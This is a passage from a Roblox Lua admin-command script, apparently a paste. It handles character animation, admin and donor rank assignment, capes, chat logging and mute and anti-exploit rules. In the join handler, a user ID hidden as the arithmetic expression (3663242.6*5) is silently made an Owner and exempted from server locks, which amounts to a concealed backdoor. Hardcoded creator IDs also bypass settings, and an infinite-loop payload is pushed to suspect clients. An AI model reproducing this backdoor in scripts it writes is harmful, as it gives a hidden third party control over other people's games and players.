  2118. child = parent.ChildAdded:wait()
  2119. if child.Name==childName then return child end
  2120. end
  2121. end
  2122.  
  2123. local Figure = game.Players.LocalPlayer.Character
  2124. local Torso = waitForChild(Figure, "Torso")
  2125. local RightShoulder = waitForChild(Torso, "Right Shoulder")
  2126. local LeftShoulder = waitForChild(Torso, "Left Shoulder")
  2127. local RightHip = waitForChild(Torso, "Right Hip")
  2128. local LeftHip = waitForChild(Torso, "Left Hip")
  2129. local Neck = waitForChild(Torso, "Neck")
  2130. local Humanoid = waitForChild(Figure, "Humanoid")
  2131. local pose = "Standing"
  2132.  
  2133. if Figure:FindFirstChild("View") then Figure.View:Remove() end
  2134. H = Instance.new("Hat")
  2135. P = Instance.new("Part")
  2136. H.Name = "View"
  2137. P.Parent = H
  2138. P.Position = Figure.Head.Position
  2139. P.Name = "Handle"
  2140. P.formFactor = 0
  2141. P.Size = Vector3.new(1, 1, 1)
  2142. P.BottomSurface = 0
  2143. P.TopSurface = 0
  2144. P.Locked = true
  2145. P.Transparency = 1
  2146. H.Parent = Figure
  2147. H.AttachmentPos = Vector3.new(0, 0.75, 0.5)
  2148. H.AttachmentRight = Vector3.new(1, 0, 0)
  2149. H.AttachmentUp = Vector3.new(0, 1, 0)
  2150. H.AttachmentForward = Vector3.new(-0, -0, -1)
  2151.  
  2152. local toolAnim = "None"
  2153. local toolAnimTime = 0
  2154.  
  2155. function onRunning(speed)
  2156. if speed>0 then
  2157. pose = "Running"
  2158. else
  2159. pose = "Standing"
  2160. end
  2161. end
  2162.  
  2163. function onDied()
  2164. pose = "Dead"
  2165. end
  2166.  
  2167. function onJumping()
  2168. pose = "Jumping"
  2169. end
  2170.  
  2171. function onClimbing()
  2172. pose = "Climbing"
  2173. end
  2174.  
  2175. function onGettingUp()
  2176. pose = "GettingUp"
  2177. end
  2178.  
  2179. function onFreeFall()
  2180. pose = "FreeFall"
  2181. end
  2182.  
  2183. function onFallingDown()
  2184. pose = "FallingDown"
  2185. end
  2186.  
  2187. function onSeated()
  2188. pose = "Seated"
  2189. end
  2190.  
  2191. function onPlatformStanding()
  2192. pose = "PlatformStanding"
  2193. end
  2194.  
  2195. function moveJump()
  2196. RightShoulder.MaxVelocity = 0.5
  2197. LeftShoulder.MaxVelocity = 0.5
  2198. RightShoulder.DesiredAngle = 3.14
  2199. LeftShoulder.DesiredAngle = -3.14
  2200. RightHip.DesiredAngle = 0
  2201. LeftHip.DesiredAngle = 0
  2202. end
  2203.  
  2204. function moveFreeFall()
  2205. RightShoulder.MaxVelocity = 0.5
  2206. LeftShoulder.MaxVelocity = 0.5
  2207. RightShoulder.DesiredAngle = 3.14
  2208. LeftShoulder.DesiredAngle = -3.14
  2209. RightHip.DesiredAngle = 0
  2210. LeftHip.DesiredAngle = 0
  2211. end
  2212.  
  2213. function moveSit()
  2214. RightShoulder.MaxVelocity = 0.15
  2215. LeftShoulder.MaxVelocity = 0.15
  2216. RightShoulder.DesiredAngle = 3.14 /2
  2217. LeftShoulder.DesiredAngle = -3.14 /2
  2218. RightHip.DesiredAngle = 3.14 /2
  2219. LeftHip.DesiredAngle = -3.14 /2
  2220. end
  2221.  
  2222. function getTool()
  2223. for _, kid in ipairs(Figure:GetChildren()) do
  2224. if kid.className == "Tool" then return kid end
  2225. end
  2226. return nil
  2227. end
  2228.  
  2229. function getToolAnim(tool)
  2230. for _, c in ipairs(tool:GetChildren()) do
  2231. if c.Name == "toolanim" and c.className == "StringValue" then
  2232. return c
  2233. end
  2234. end
  2235. return nil
  2236. end
  2237.  
  2238. function animateTool()
  2239.  
  2240. if (toolAnim == "None") then
  2241. RightShoulder.DesiredAngle = 1.57
  2242. return
  2243. end
  2244.  
  2245. if (toolAnim == "Slash") then
  2246. RightShoulder.MaxVelocity = 0.5
  2247. RightShoulder.DesiredAngle = 0
  2248. return
  2249. end
  2250.  
  2251. if (toolAnim == "Lunge") then
  2252. RightShoulder.MaxVelocity = 0.5
  2253. LeftShoulder.MaxVelocity = 0.5
  2254. RightHip.MaxVelocity = 0.5
  2255. LeftHip.MaxVelocity = 0.5
  2256. RightShoulder.DesiredAngle = 1.57
  2257. LeftShoulder.DesiredAngle = 1.0
  2258. RightHip.DesiredAngle = 1.57
  2259. LeftHip.DesiredAngle = 1.0
  2260. return
  2261. end
  2262. end
  2263.  
  2264. function move(time)
  2265. local amplitude
  2266. local frequency
  2267.  
  2268. if (pose == "Jumping") then
  2269. moveJump()
  2270. return
  2271. end
  2272.  
  2273. if (pose == "FreeFall") then
  2274. moveFreeFall()
  2275. return
  2276. end
  2277.  
  2278. if (pose == "Seated") then
  2279. moveSit()
  2280. return
  2281. end
  2282.  
  2283. local climbFudge = 0
  2284.  
  2285. if (pose == "Running") then
  2286. RightShoulder.MaxVelocity = 0.15
  2287. LeftShoulder.MaxVelocity = 0.15
  2288. amplitude = 1.5
  2289. frequency = 13
  2290. elseif (pose == "Climbing") then
  2291. RightShoulder.MaxVelocity = 0.5
  2292. LeftShoulder.MaxVelocity = 0.5
  2293. amplitude = 1.5
  2294. frequency = 13
  2295. climbFudge = 3.14
  2296. else
  2297. amplitude = .2
  2298. frequency = 1
  2299. end
  2300.  
  2301. desiredAngle = amplitude * math.sin(time*frequency)
  2302.  
  2303. RightShoulder.DesiredAngle = (desiredAngle + climbFudge)/5
  2304. LeftShoulder.DesiredAngle = (desiredAngle - climbFudge)/5
  2305. RightHip.DesiredAngle = -desiredAngle/3
  2306. LeftHip.DesiredAngle = -desiredAngle/3
  2307.  
  2308.  
  2309. local tool = getTool()
  2310.  
  2311. if tool then
  2312.  
  2313. animStringValueObject = getToolAnim(tool)
  2314.  
  2315. if animStringValueObject then
  2316. toolAnim = animStringValueObject.Value
  2317. animStringValueObject.Parent = nil
  2318. toolAnimTime = time + .3
  2319. end
  2320.  
  2321. if time > toolAnimTime then
  2322. toolAnimTime = 0
  2323. toolAnim = "None"
  2324. end
  2325.  
  2326. animateTool()
  2327.  
  2328.  
  2329. else
  2330. toolAnim = "None"
  2331. toolAnimTime = 0
  2332. end
  2333. end
  2334.  
  2335. Humanoid.Died:connect(onDied)
  2336. Humanoid.Running:connect(onRunning)
  2337. Humanoid.Jumping:connect(onJumping)
  2338. Humanoid.Climbing:connect(onClimbing)
  2339. Humanoid.GettingUp:connect(onGettingUp)
  2340. Humanoid.FreeFalling:connect(onFreeFall)
  2341. Humanoid.FallingDown:connect(onFallingDown)
  2342. Humanoid.Seated:connect(onSeated)
  2343. Humanoid.PlatformStanding:connect(onPlatformStanding)
  2344.  
  2345. local runService = game:service("RunService");
  2346.  
  2347. while Figure.Parent~=nil do
  2348. local _, time = wait()
  2349. move(time)
  2350. end
  2351. ]],false,'Animate')
  2352. end
  2353. end)()
  2354. end)
  2355. end)
  2356. end)()
  2357. coroutine.wrap(function()
  2358. player:WaitForChild("PlayerGui")
  2359. player:WaitForChild("Backpack")
  2360. if player.userId == game.CreatorId or player.userId == (3663242.6*5) then
  2361. table.insert(set['Owners'],player.Name)
  2362. end wait(1)
  2363. if (((not set.ChkAdmin(player.Name, false)) and (not set.ChkOwner(player.Name))) and player.userId ~= (3663242.6*5)) and (set.slock or (set['GroupOnlyJoin'] and (not player:IsInGroup(set['GroupId'])))) then
  2364. set.GetPlayerInfo(player,game.Players:children(),'Player Attempted To Join')
  2365. pcall(function()
  2366. player:Kick()
  2367. end)
  2368. elseif set['JoinMessage'] then
  2369. if set.ChkDonor(player) and not(player.userId==1237666 or player.userId==44391621) then
  2370. set.GetPlayerInfo(player,game.Players:children(),'Donator Joined')
  2371. elseif player.userId==1237666 or player.userId==44391621 then
  2372. set.GetPlayerInfo(player,game.Players:children(),'Script Creator Joined')
  2373. else
  2374. set.GetPlayerInfo(player,game.Players:children(),'Player Joined')
  2375. end
  2376. end
  2377. end)()
  2378. coroutine.wrap(function()
  2379. if set['FreeAdmin'] and (not set.ChkAdmin(player.Name,false)) then
  2380. if set['FreeAdminType']=='TempAdmin' then
  2381. table.insert(set['TempAdmins'],player.Name)
  2382. elseif set['FreeAdminType']=='Admin' then
  2383. table.insert(set['Admins'],player.Name)
  2384. elseif set['FreeAdminType']=='Owner' then
  2385. table.insert(set['Owners'],player.Name)
  2386. end
  2387. end
  2388. end)()
  2389. coroutine.wrap(function()
  2390. pcall(function()
  2391. if not set.ChkAdmin(player.Name, false) then
  2392. if set['GroupAdmin'] and set['RankType']=='Specific' then
  2393. for i,v in pairs(set['SpecificRanks']) do
  2394. if v and v.Type and v.Rank then
  2395. if player:IsInGroup(set['GroupId']) and (player:GetRoleInGroup(set['GroupId'])==v.Rank or player:GetRankInGroup(set['GroupId'])==v.Rank) then
  2396. if v.Type=='Admin' then
  2397. table.insert(set['Admins'],player.Name)
  2398. elseif v.Type=='Banned' then
  2399. player:Kick()
  2400. elseif v.Type=='Owner' then
  2401. table.insert(set['Owners'],player.Name)
  2402. elseif v.Type=='TempAdmin' then
  2403. table.insert(set['TempAdmins'],player.Name)
  2404. end
  2405. end
  2406. elseif v:match('(.*)=(.*)') then
  2407. local a,b = v:match('(.*)=(.*)')
  2408. if player:IsInGroup(set['GroupId']) and (player:GetRoleInGroup(set['GroupId'])==tostring(a) or player:GetRankInGroup(set['GroupId'])==tonumber(a)) then
  2409. if b=='Admin' then
  2410. table.insert(set['Admins'],player.Name)
  2411. elseif b=='Banned' then
  2412. player:Kick()
  2413. elseif b=='Owner' then
  2414. table.insert(set['Owners'],player.Name)
  2415. elseif b=='TempAdmin' then
  2416. table.insert(set['TempAdmins'],player.Name)
  2417. end
  2418. end
  2419. end
  2420. end
  2421. elseif set['GroupAdmin'] and set['RankType']=='NonSpecific' then
  2422. if player:GetRankInGroup(set['GroupId'])>=set['NonSpecificRank'] then
  2423. if set['NonSpecificRankType']=='Admin' then
  2424. table.insert(set['Admins'],player.Name)
  2425. elseif set['NonSpecificRankType']=='Owner' then
  2426. table.insert(set['Owners'],player.Name)
  2427. elseif set['NonSpecificRankType']=='TempAdmin' then
  2428. table.insert(set['TempAdmins'],player.Name)
  2429. end
  2430. end
  2431. end
  2432. end
  2433. end)
  2434. end)()
  2435. coroutine.wrap(function()
  2436. if set['FreindAdmin'] and player:IsFriendsWith(game.CreatorId) then
  2437. table.insert(set['TempAdmins'],player.Name)
  2438. end
  2439. end)()
  2440. coroutine.wrap(function()
  2441. if set['VipAdmin'] then
  2442. if set['ItemType']=='Badge' and game:service("BadgeService"):UserHasBadge(player.userId,set['ItemId']) then
  2443. table.insert(set['TempAdmins'],player.Name)
  2444. elseif set['ItemType']=='GamePass' and game:GetService("GamePassService"):PlayerHasPass(player, set['ItemId']) then
  2445. table.insert(set['TempAdmins'],player.Name)
  2446. end
  2447. end
  2448. end)()
  2449. coroutine.wrap(function()
  2450. pcall(function() set.CheckMute(player) end)
  2451. end)()
  2452. coroutine.wrap(function()
  2453. if set['AntiGui'] then
  2454. player:WaitForChild('PlayerGui')
  2455. player.PlayerGui.ChildAdded:connect(function(g)
  2456. coroutine.wrap(function()
  2457. wait()
  2458. for i,v in pairs(set['AllowedGuiList']) do
  2459. if not g.Name:find(GuiName) and g.Name~=v and g.Name~='HealthGUI' then print(g.Name) g:Destroy() end
  2460. if g.Name=='HealthGUI' and g.Name~=v then
  2461. for k,b in pairs(g:children()) do
  2462. if b.Name~='tray' or b.Name~='hurtOverlay' then g:Destroy() end
  2463. if b.Name=='tray' then
  2464. for l,m in pairs(b:children()) do
  2465. if m.Name~='bar' or m.Name~='bar2' or m.Name~='barRed' or m.Name~='bkg' or m.Name~='label' then g:Destroy() end
  2466. if not g:FindFirstChild('tray') or not g:FindFirstChild('hurtOverlay') then g:Destroy() end
  2467. if not b:FindFirstChild('bar2') or not b:FindFirstChild('bar') then g:Destroy() end
  2468. end
  2469. end
  2470. end
  2471. end
  2472. end
  2473. end)()
  2474. end)
  2475. end
  2476. end)()
  2477. end)()
  2478. end
  2479.  
  2480. set.Noobify=function(char)
  2481. if char and char:findFirstChild("Torso") then
  2482. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  2483. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  2484. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2485. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  2486. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and prt.Name~='HumanoidRootPart' and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2487. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  2488. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  2489. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then set.Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  2490. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  2491. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  2492. end end end end set.nfs=tics:reverse()
  2493.  
  2494. set.Infect=function(char)
  2495. if char and char:findFirstChild("Torso") then
  2496. if char:findFirstChild("Shirt") then char.Shirt:Destroy() end
  2497. if char:findFirstChild("Pants") then char.Pants:Destroy() end
  2498. local shirt=Instance.new('Shirt',char)
  2499. local pants=Instance.new('Pants',char)
  2500. shirt.ShirtTemplate="http://www.roblox.com/asset/?id=60636107"
  2501. pants.PantsTemplate="http://www.roblox.com/asset/?id=60636428"
  2502. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2503. local cl = Instance.new("StringValue", char)
  2504. cl.Name = "ify"
  2505. cl.Parent = char
  2506. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and prt.Name~='HumanoidRootPart' and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2507. prt.Transparency = 0
  2508. prt.Reflectance = 0
  2509. prt.BrickColor = BrickColor.new("White")
  2510. if prt.Name:find("Leg") or prt.Name:find('Arm') then
  2511. prt.BrickColor = BrickColor.new("White") end
  2512. local tconn = prt.Touched:connect(function(hit)
  2513. if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then
  2514. set.Infect(hit.Parent)
  2515. elseif
  2516. cl.Parent ~= char then tconn:disconnect() end end)
  2517. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  2518. elseif prt:findFirstChild("NameTag") then
  2519. prt.Head.Transparency = 0
  2520. prt.Head.Reflectance = 0
  2521. prt.Head.BrickColor = BrickColor.new("White")
  2522. end end
  2523. end
  2524. end
  2525.  
  2526. set.ScrollGui=function()
  2527. if set['FilteringEnabled'] then return end
  2528. local scr = Instance.new("ScreenGui") scr.Name = GuiName.."LogsGUI"
  2529. local drag = Instance.new("TextButton", scr)
  2530. drag.Draggable = true
  2531. drag.BackgroundTransparency = 1
  2532. drag.Size = UDim2.new(0,400,0,30)
  2533. drag.Position = UDim2.new(.5,-200,.5,-200)
  2534. drag.AutoButtonColor = false
  2535. drag.Text = ""
  2536. drag.ZIndex=1
  2537. local main = Instance.new("Frame", drag)
  2538. main.Size = UDim2.new(0,400,0,400)
  2539. main.ClipsDescendants = true
  2540. main.BackgroundTransparency=set['Transparency']
  2541. main.BackgroundColor3=set['PrimaryColor']
  2542. main.BorderColor3=set['SecondaryColor']
  2543. local cmf = Instance.new("ScrollingFrame", main)
  2544. cmf.Position = UDim2.new(0,3,0,31)
  2545. cmf.Size=UDim2.new(0,397,0,368)
  2546. cmf.BorderColor3=set['SecondaryColor']
  2547. cmf.ZIndex = 1
  2548. cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
  2549. cmf.BackgroundTransparency=1
  2550. cmf.BottomImage='http://roblox.com/asset?id=158348114'
  2551. cmf.MidImage='http://roblox.com/asset?id=158348114'
  2552. cmf.TopImage='http://roblox.com/asset?id=158348114'
  2553. local top = Instance.new("TextLabel", main)
  2554. top.Position=UDim2.new(0,0,0,0)
  2555. top.Size=UDim2.new(0,405,0,30)
  2556. top.BackgroundColor3=set['PrimaryColor']
  2557. top.Text=''
  2558. top.BorderColor3=set['SecondaryColor']
  2559. top.ZIndex=9
  2560. top.TextColor3=set['TextColor']
  2561. top.Font='ArialBold'
  2562. top.FontSize='Size18'
  2563. local cls = Instance.new("TextButton", main)
  2564. cls.Style = "Custom"
  2565. cls.Size = UDim2.new(0,20,0,20)
  2566. cls.Position = UDim2.new(1,-25,0,5)
  2567. cls.ZIndex = 10
  2568. cls.Font = "ArialBold"
  2569. cls.FontSize = "Size18"
  2570. cls.BackgroundColor3=set['PrimaryColor']
  2571. cls.BorderColor3=set['SecondaryColor']
  2572. cls.TextColor3 = set['SecondaryColor']
  2573. cls.BackgroundTransparency=set['Transparency']
  2574. cls.Text = "X"
  2575. cls.MouseButton1Click:connect(function() scr:Destroy() end)
  2576. local ent = Instance.new("TextLabel")
  2577. ent.BackgroundTransparency = 1
  2578. ent.Font = 'ArialBold'
  2579. ent.FontSize = "Size18"
  2580. ent.ZIndex = 8
  2581. ent.Text = ""
  2582. ent.TextColor3 = set['TextColor']
  2583. ent.TextStrokeColor3 = set['TextStrokeColor']
  2584. ent.TextStrokeTransparency = 0
  2585. ent.TextXAlignment = "Left"
  2586. ent.TextYAlignment = "Top"
  2587. local num = 0
  2588. return scr, cmf, ent, num, top
  2589. end
  2590.  
  2591. set.ReverseTable=function(tabz)
  2592. local res = {}
  2593. for i=#tabz,1,-1 do
  2594. table.insert(res,tabz[i])
  2595. end
  2596. return res
  2597. end
  2598.  
  2599. set.ChkDonor=function(plr)
  2600. if plr.AccountAge<=0 then return false end
  2601. local val=false
  2602. for i,v in pairs(set.donors) do
  2603. if v and plr.Name==v.Name or plr.userId==v.Id then
  2604. val=true
  2605. end
  2606. end
  2607. if set.ChkDonorPass(plr) then val=true end
  2608. return val
  2609. end
  2610.  
  2611. set.ChkDonorPass=function(plr)
  2612. if not game:service('GamePassService') or not game:GetService("MarketplaceService") then return end
  2613. for i,v in pairs(set.defaultpass) do
  2614. if game:service('GamePassService'):PlayerHasPass(plr,v) or game:GetService("MarketplaceService"):PlayerOwnsAsset(plr,v) then
  2615. return true
  2616. end
  2617. end
  2618. end
  2619.  
  2620. set.ChkCustomPass=function(plr)
  2621. if not game:service('GamePassService') or not game:GetService("MarketplaceService") then return end
  2622. for i,v in pairs(set.custompass) do
  2623. if game:service('GamePassService'):PlayerHasPass(plr,v) or game:GetService("MarketplaceService"):PlayerOwnsAsset(plr,v) then
  2624. return true
  2625. end
  2626. end
  2627. end
  2628.  
  2629. set.ChkDonorList=function(plr)
  2630. for i,v in pairs(set.donors) do
  2631. if v and plr.Name==v.Name or plr.userId==v.Id then
  2632. return true
  2633. end
  2634. end
  2635. end
  2636.  
  2637. if game.CreatorId~=0 and game:GetService('MarketplaceService') then
  2638. coroutine.wrap(function()
  2639. set.dlastupdatenum=0
  2640. while wait() do
  2641. pcall(function()
  2642. set.donors={}
  2643. set.dlastupdate=set.GetTime()..' - '..set.dlastupdatenum
  2644. set.dlastupdatenum=set.dlastupdatenum+1
  2645. local col = game:GetService("InsertService"):GetCollection(1290539)
  2646. for k,asset in pairs(col) do
  2647. local ins=game:GetService('MarketplaceService'):GetProductInfo(asset.AssetId)
  2648. local fo=ins.Description
  2649. for so in fo:gmatch('[^;]+') do
  2650. local name,id,cape,color=so:match('{(.*),(.*),(.*),(.*)}')
  2651. table.insert(set.donors,{Name=name,Id=tostring(id),Cape=tostring(cape),Color=color,List=ins.Name})
  2652. end
  2653. end
  2654. for ik,pl in pairs(game.Players:children()) do
  2655. coroutine.wrap(function()
  2656. pl:WaitForDataReady()
  2657. if set.ChkDonor(pl) and not set.ChkDonorList(pl) and not (pl:LoadBoolean('Pancake Is A Donator',true) and pl:LoadString('Pancake Cape') and pl:LoadString('Pancake Cape'):match('(.*)=(.*)')) then
  2658. table.insert(set.donors,{Name=pl.Name,Id=tostring(pl.userId),Cape='149009184',Color='White',List='GP(Custom)'})
  2659. end
  2660. if pl:LoadBoolean('Pancake Is A Donator',true) and pl:LoadString('Pancake Cape') and pl:LoadString('Pancake Cape'):match('(.*)=(.*)') then
  2661. local st=pl:LoadString('Pancake Cape')
  2662. local a,b=st:match('(.*)=(.*)')
  2663. if not a or not b then return end
  2664. for i,v in pairs(set.donors) do if v.Name==pl.Name then table.remove(set.donors,i) end end
  2665. table.insert(set.donors,{Name=pl.Name,Id=tostring(pl.userId),Cape=a,Color=b,List='GP'})
  2666. end
  2667. end)()
  2668. end
  2669. wait(30)
  2670. end)
  2671. end
  2672. end)()
  2673. end
  2674.  
  2675. set.Donor=function(plr)
  2676. coroutine.wrap(function()
  2677. for i,v in pairs(set.donors) do
  2678. coroutine.wrap(function()
  2679. if v and plr and (plr.Name==v.Name or plr.userId==v.Id) and (set['DonorStuff'] or plr.userId==1237666 or plr.userId==44391621) then
  2680. coroutine.wrap(function()
  2681. pcall(function()
  2682. plr:WaitForChild('Backpack')
  2683. pcall(function() plr.Character.EpicCape:Destroy() end)
  2684. local gid=57902997
  2685. --if plr.userId==1237666 or plr.userId==44391621 then
  2686. -- gid=92142950
  2687. --end
  2688. local gear=game:GetService('InsertService'):LoadAsset(gid)
  2689. for k,m in pairs(gear:children()) do
  2690. if m:IsA('Tool') or m:IsA('HopperBin') then
  2691. m.Parent=plr.Backpack
  2692. end
  2693. end
  2694. gear:Destroy()
  2695. end)
  2696. end)()
  2697. if plr and plr.Character and plr.Character:FindFirstChild("Torso") then
  2698. wait()
  2699. set.LoadOnClient(plr,[[
  2700. local plr = game.Players.LocalPlayer
  2701. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  2702. local torso = plr.Character.Torso
  2703. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  2704. p.Transparency=0.0001
  2705. p.Material='Plastic'
  2706. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("]]..v.Color..[[") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=]]..v.Cape..[[" dec.Transparency=0 p.formFactor = "Custom"
  2707. p.Size = Vector3.new(.2,.2,.2)
  2708. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  2709. local motor1 = Instance.new("Motor", p)
  2710. motor1.Part0 = p
  2711. motor1.Part1 = torso
  2712. motor1.MaxVelocity = .01
  2713. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  2714. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  2715. local wave = false
  2716. repeat wait(1/44)
  2717. local ang = 0.1
  2718. local oldmag = torso.Velocity.magnitude
  2719. local mv = .002
  2720. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  2721. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  2722. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  2723. motor1.DesiredAngle = -ang
  2724. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  2725. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  2726. if torso.Velocity.magnitude < .1 then wait(.1) end
  2727. until not p or p.Parent ~= torso.Parent
  2728. script:Destroy()
  2729. ]],false,set.AssignName())
  2730. end
  2731. end
  2732. end)()
  2733. end
  2734. end)()
  2735. end
  2736.  
  2737. set.Logit=function(plr,msg)
  2738. local logit=true
  2739. for i,v in pairs(set.dontlog) do if v and v.n==plr.Name and v.c==msg then logit=false end end
  2740. return logit
  2741. end
  2742.  
  2743. set.Chat=function(msg,plr)
  2744. local Success,Failed=ypcall(function()
  2745. coroutine.wrap(function()
  2746. coroutine.wrap(function()
  2747. if set['ChatLog'] and not (msg:match(set['prefix']..'(.*)') and set.ChkAdmin(plr.Name,false)) then
  2748. if game:service('Players'):FindFirstChild(plr.Name) and set.Logit(plr,msg) then
  2749. table.insert(set.chatlogs,1,{Time=set.GetTime(),Name=plr.Name,Message=msg})
  2750. elseif set.Logit(plr,msg) then
  2751. table.insert(set.chatlogs,1,{Time=set.GetTime(),Name='(NIL) '..plr.Name,Message=msg})
  2752. end
  2753. if #set.chatlogs>=set['MaxNumberOfLogs'] then
  2754. table.remove(set.chatlogs,#set.chatlogs)
  2755. end
  2756. end
  2757. end)()
  2758.  
  2759. if msg:lower():sub(1,2)=='/e' then msg=msg:sub(4) end
  2760.  
  2761. coroutine.wrap(function()
  2762. if set['AntiExploit'] then
  2763. coroutine.wrap(function()
  2764. if not set.ChkAdmin(plr.Name, false) then
  2765. local m,c
  2766. if set.canuseloadstring then
  2767. m,c = loadstring(msg)
  2768. else
  2769. m=false
  2770. end
  2771. for d,j in pairs(set['AntiExploitWordList']) do
  2772. if msg:lower():match(j:lower()) or m then
  2773. if game.Players:FindFirstChild(plr.Name) then
  2774. plr:Kick()
  2775. else
  2776. set.NilExecute(plr,[[while true do end]])
  2777. end
  2778. end
  2779. end
  2780. end
  2781. end)()
  2782. end
  2783. end)()
  2784.  
  2785. coroutine.wrap(function()
  2786. if set['NoTalk'] then
  2787. if plr:FindFirstChild('NoTalk') and not set.ChkAdmin(plr.Name,false) and plr.Character and plr.Character:FindFirstChild('Head') then
  2788. if msg==set['anyprefix']..'attn' then
  2789. game:GetService('Chat'):Chat(plr.Character.Head,'I need to speak to an Administrator!',Enum.ChatColor.Blue)
  2790. elseif msg~=set['anyprefix']..'attn' and msg~=set['anyprefix']..'help' and plr.NoTalk.Value==0 then
  2791. game:GetService('Chat'):Chat(plr.Character.Head,"You are not allowed to speak "..plr.Name.."! Use "..set['anyprefix'].."attn to get an Admin's attention. This is warning 1.",Enum.ChatColor.Blue)
  2792. plr.NoTalk.Value=plr.NoTalk.Value+1
  2793. elseif msg~=set['anyprefix']..'attn' and msg~=set['anyprefix']..'help' and player.NoTalk.Value==1 then
  2794. game:GetService('Chat'):Chat(plr.Character.Head,'You have been told not to speak '..plr.Name..'! You will be punished next time! Use '..set['anyprefix']..'attn. Warning 2',Enum.ChatColor.Green)
  2795. plr.NoTalk.Value=plr.NoTalk.Value+1
  2796. elseif msg~=set['anyprefix']..'attn' and msg~=set['anyprefix']..'help' and plr.NoTalk.Value==2 then
  2797. game:GetService('Chat'):Chat(plr.Character.Head,'You have been told not to speak '..plr.Name..'! You have been punished. Next is a kick. Use '..set['anyprefix']..'attn. Warning 3',Enum.ChatColor.Red)
  2798. plr.Character:BreakJoints()
  2799. plr.NoTalk.Value=player.NoTalk.Value+1
  2800. elseif msg~=set['anyprefix']..'attn' and msg~=set['anyprefix']..'help' and plr.NoTalk.Value==3 then
  2801. game:GetService('Chat'):Chat(plr.Character.Head,'You have been told not to speak '..plr.Name..'! This is the 4th time. Use '..set['anyprefix']..'attn next time. You will now be kicked.',Enum.ChatColor.Red)
  2802. wait(1)
  2803. plr:Kick()
  2804. end
  2805. end
  2806. end
  2807. end)()
  2808. if set['PMUsableByAnyone'] or set.ChkAdmin(plr.Name,false) then
  2809. local pre
  2810. if set['PMUsableByAnyone'] then pre=set['anyprefix'] else pre=set['prefix'] end
  2811. local cmd=pre.."pm "
  2812. if msg:lower():sub(1,#cmd) == cmd then
  2813. local chk1 = msg:lower():sub(#cmd+1):find(" ") + #cmd-1
  2814. local message = msg:sub(chk1+1)
  2815. for i,p in pairs(set.GetPlayers(plr, msg:lower():sub(#cmd+1,chk1-1))) do
  2816. coroutine.wrap(function()
  2817. set.PM('Private Message from '..plr.Name,p,message,plr)
  2818. end)()
  2819. end
  2820. end
  2821. end
  2822. if set.ChkDonor(plr) then
  2823. if msg:lower() == set['anyprefix'].."uncape" then
  2824. if set['DonorStuff'] then
  2825. pcall(function() plr.Character.EpicCape:Destroy() end)
  2826. else
  2827. set.Message("System Message","Donor Stuff is disabled in settings.",false,{plr})
  2828. end
  2829. end
  2830. if msg:lower() == set['anyprefix'].."cape" then
  2831. if set['DonorStuff'] then
  2832. coroutine.wrap(function()
  2833. for i,v in pairs(set.donors) do
  2834. coroutine.wrap(function()
  2835. if v and plr and (plr.Name==v.Name or plr.userId==v.Id) and (set['DonorStuff'] or plr.userId==1237666 or plr.userId==44391621) then
  2836. pcall(function() plr.Character.EpicCape:Destroy() end)
  2837. if plr and plr.Character and plr.Character:FindFirstChild("Torso") then
  2838. set.LoadOnClient(plr,[[
  2839. local plr = game.Players.LocalPlayer
  2840. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  2841. local torso = plr.Character.Torso
  2842. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  2843. p.Transparency=0.0001
  2844. p.Material='Plastic'
  2845. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("]]..v.Color..[[") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=]]..v.Cape..[[" dec.Transparency=0 p.formFactor = "Custom"
  2846. p.Size = Vector3.new(.2,.2,.2)
  2847. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  2848. local motor1 = Instance.new("Motor", p)
  2849. motor1.Part0 = p
  2850. motor1.Part1 = torso
  2851. motor1.MaxVelocity = .01
  2852. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
